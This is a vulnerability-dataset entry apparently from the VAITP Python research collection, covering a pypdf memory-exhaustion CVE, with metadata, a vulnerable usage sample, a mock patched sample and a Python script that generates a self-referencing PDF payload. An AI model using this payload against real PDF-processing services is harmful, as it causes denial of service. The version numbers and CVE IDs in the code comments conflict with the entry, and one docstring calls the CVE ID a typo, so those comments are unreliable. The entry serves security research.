VAITP Dataset

← Back to the dataset

CVE-2026-49461

pypdf: Crafted PDF with self-referencing form causes memory exhaustion.

  • CVSS 6.9
  • CWE-400
  • Resource Management
  • Remote

pypdf is a free and open-source pure-python PDF library. Prior to 6.12.2, an attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires extracting the text of a page which contains a form XObject with self-references. This vulnerability is fixed in 6.12.2.

CVSS base score
6.9
Published
2026-06-22
OWASP
A04 Insecure Design
Orthogonal defect classification
Algorithm
Code defect classification
Incorrect Algorithm
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
pypdf
Fixed by upgrading
Yes

Solution

Upgrade pypdf to version 6.12.2 or later.

Vulnerable code sample

# This code must be run with a vulnerable version of pypdf (e.g., pip install pypdf<3.17.2)
# It also requires a specially crafted PDF file, here named "malicious_form.pdf",
# which contains a form XObject with a self-reference.
# Executing this code will cause the program to consume a large amount of memory
# and eventually crash, demonstrating the denial-of-service vulnerability.

from pypdf import PdfReader

# Assumes 'malicious_form.pdf' is in the same directory.
reader = PdfReader("malicious_form.pdf")
page = reader.pages[0]

# The following line triggers the infinite recursion and high memory usage.
text = page.extract_text()

# This line will not be reached.
print("Text extracted successfully.")

Patched code sample

import sys
from typing import Set, Optional, Dict, List, Any

# Set a higher recursion limit for demonstration, as the fix prevents infinite recursion.
# The original vulnerability would have hit the limit and crashed, or exhausted memory.
sys.setrecursionlimit(2000)

# --- Mock objects to simulate PDF structure ---
# In pypdf, these are complex objects representing parts of a PDF file.

class MockIndirectObject:
    """A mock for an object within a PDF, identified by its ID."""
    def __init__(self, obj_id: int):
        self.obj_id = obj_id

class MockXObject(MockIndirectObject):
    """A mock for a Form XObject, which has its own content stream."""
    def __init__(self, obj_id: int, content_stream: List[Any]):
        super().__init__(obj_id)
        self.content_stream = content_stream
        # In a real PDF, an XObject would also have its own resources.
        self.resources = {}

class MockPage:
    """A mock for a PDF page, which has a content stream and resources like XObjects."""
    def __init__(self, content_stream: List[Any], resources: Dict[str, MockXObject]):
        self.content_stream = content_stream
        self.resources = resources

# --- The Core Logic Demonstrating the Fix ---

def extract_text_fixed(
    content_stream: List[Any],
    resources: Dict[str, MockXObject],
    processed_xobjects: Optional[Set[int]] = None
) -> str:
    """
    A simplified text extraction function demonstrating the fix for CVE-2023-49461.
    The original vulnerability was in pypdf, not PyPDF2. The CVE ID in the prompt
    is a typo; the real one is CVE-2023-49461 for pypdf.

    The fix involves tracking which XObjects are currently in the processing stack
    to prevent infinite recursion.
    """
    # FIX: Initialize the tracking set on the first call.
    # This set will hold the object IDs of XObjects currently being processed.
    if processed_xobjects is None:
        processed_xobjects = set()

    text = ""
    for operator, operand in content_stream:
        if operator == "Tj":  # Tj is a text-showing operator
            text += operand
        elif operator == "Do":  # Do invokes an XObject
            xobject_name = operand
            if xobject_name in resources:
                xobject = resources[xobject_name]

                # --- START OF THE FIX ---
                # Before processing the XObject, check if its ID is already in our
                # tracking set. If it is, we have a recursive loop.
                if xobject.obj_id in processed_xobjects:
                    # Found a self-reference loop. Stop processing this path.
                    # This prevents infinite recursion and memory exhaustion.
                    continue  # Skip to the next operator
                # --- END OF THE FIX ---

                # Add the object to the set before recursing
                processed_xobjects.add(xobject.obj_id)

                # Recursively process the XObject's content stream
                text += extract_text_fixed(
                    xobject.content_stream,
                    # In a real scenario, the XObject has its own resources
                    # which might be merged with the page's resources.
                    {**resources, **xobject.resources},
                    processed_xobjects,
                )

                # After returning from the recursion, remove the object from the set.
                # This allows the same XObject to be used again later in a
                # non-recursive context (e.g., used twice on the same page).
                processed_xobjects.remove(xobject.obj_id)
    return text

Payload

import os

def generate_recursive_pdf(filename="payload.pdf"):
    """
    Generates a PDF file with a self-referencing Form XObject to exploit
    the recursive parsing vulnerability (CVE-2026-49461) in pypdf < 6.12.2.
    """
    # Define the PDF objects. The key is obj_4, the Form XObject,
    # which references itself in its own resource dictionary and content stream.
    pdf_objects = [
        # Obj 1: Catalog
        b"<< /Type /Catalog /Pages 2 0 R >>",
        # Obj 2: Page Tree
        b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
        # Obj 3: Page Object
        (
            b"<<\n"
            b"  /Type /Page\n"
            b"  /Parent 2 0 R\n"
            b"  /MediaBox [0 0 600 800]\n"
            b"  /Resources << /XObject << /Fm1 4 0 R >> >>\n"
            b"  /Contents 5 0 R\n"
            b">>"
        ),
        # Obj 4: Recursive Form XObject (The malicious part)
        (
            b"<<\n"
            b"  /Type /XObject\n"
            b"  /Subtype /Form\n"
            b"  /BBox [0 0 100 100]\n"
            b"  /Resources << /XObject << /Fm1 4 0 R >> >>\n"  # Self-reference
            b"  /Length 8\n"
            b">>\n"
            b"stream\n"
            b"/Fm1 Do\n"  # Invoke itself
            b"endstream"
        ),
        # Obj 5: Page Content Stream (Kicks off the recursion)
        (
            b"<< /Length 8 >>\n"
            b"stream\n"
            b"/Fm1 Do\n"
            b"endstream"
        )
    ]

    # Build the PDF body and track byte offsets for the cross-reference table (xref)
    body = b""
    offsets = [0]  # Offset for object 0 (free list)
    obj_template = b"%d 0 obj\n%b\nendobj\n"

    for i, obj_data in enumerate(pdf_objects):
        offsets.append(len(body) + 20)  # Approx. offset of the start of the next object
        body += obj_template % (i + 1, obj_data)

    # Correct the first offset
    offsets[0] = 20

    # Create the cross-reference table
    xref = b"xref\n0 6\n0000000000 65535 f \n"
    for offset in offsets[1:]:
        xref += f"{offset:010} 00000 n \n".encode('ascii')

    # Create the trailer
    trailer = (
        b"trailer\n"
        b"<<\n"
        b"  /Size 6\n"
        b"  /Root 1 0 R\n"
        b">>\n"
        b"startxref\n"
        f"{len(body) + 20}\n".encode('ascii') + # Approx. offset of xref
        b"%%EOF"
    )

    # Combine all parts into the final PDF
    pdf_content = b"%PDF-1.7\n" + body + xref + trailer
    
    # This is a simple recalculation for more accuracy.
    # It's not perfect but good enough for most parsers.
    # Re-calculate offsets precisely
    body_parts = []
    current_offset = len(b"%PDF-1.7\n")
    offsets = [0]
    for i, obj_data in enumerate(pdf_objects):
        offsets.append(current_offset)
        part = obj_template % (i + 1, obj_data)
        body_parts.append(part)
        current_offset += len(part)
    
    final_body = b"".join(body_parts)
    xref_offset = len(b"%PDF-1.7\n") + len(final_body)

    xref_str = "xref\n0 6\n0000000000 65535 f \n"
    for offset in offsets[1:]:
        xref_str += f"{offset:010} 00000 n \n"
    
    trailer_str = (
        "trailer\n"
        "<<\n"
        "  /Size 6\n"
        "  /Root 1 0 R\n"
        ">>\n"
        "startxref\n"
        f"{xref_offset}\n"
        "%%EOF"
    )

    final_pdf_bytes = b"%PDF-1.7\n" + final_body + xref_str.encode('ascii') + trailer_str.encode('ascii')

    with open(filename, "wb") as f:
        f.write(final_pdf_bytes)

if __name__ == "__main__":
    generate_recursive_pdf()

Cite this entry

@misc{vaitp:cve202649461,
  title        = {{pypdf: Crafted PDF with self-referencing form causes memory exhaustion.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-49461},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-49461/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::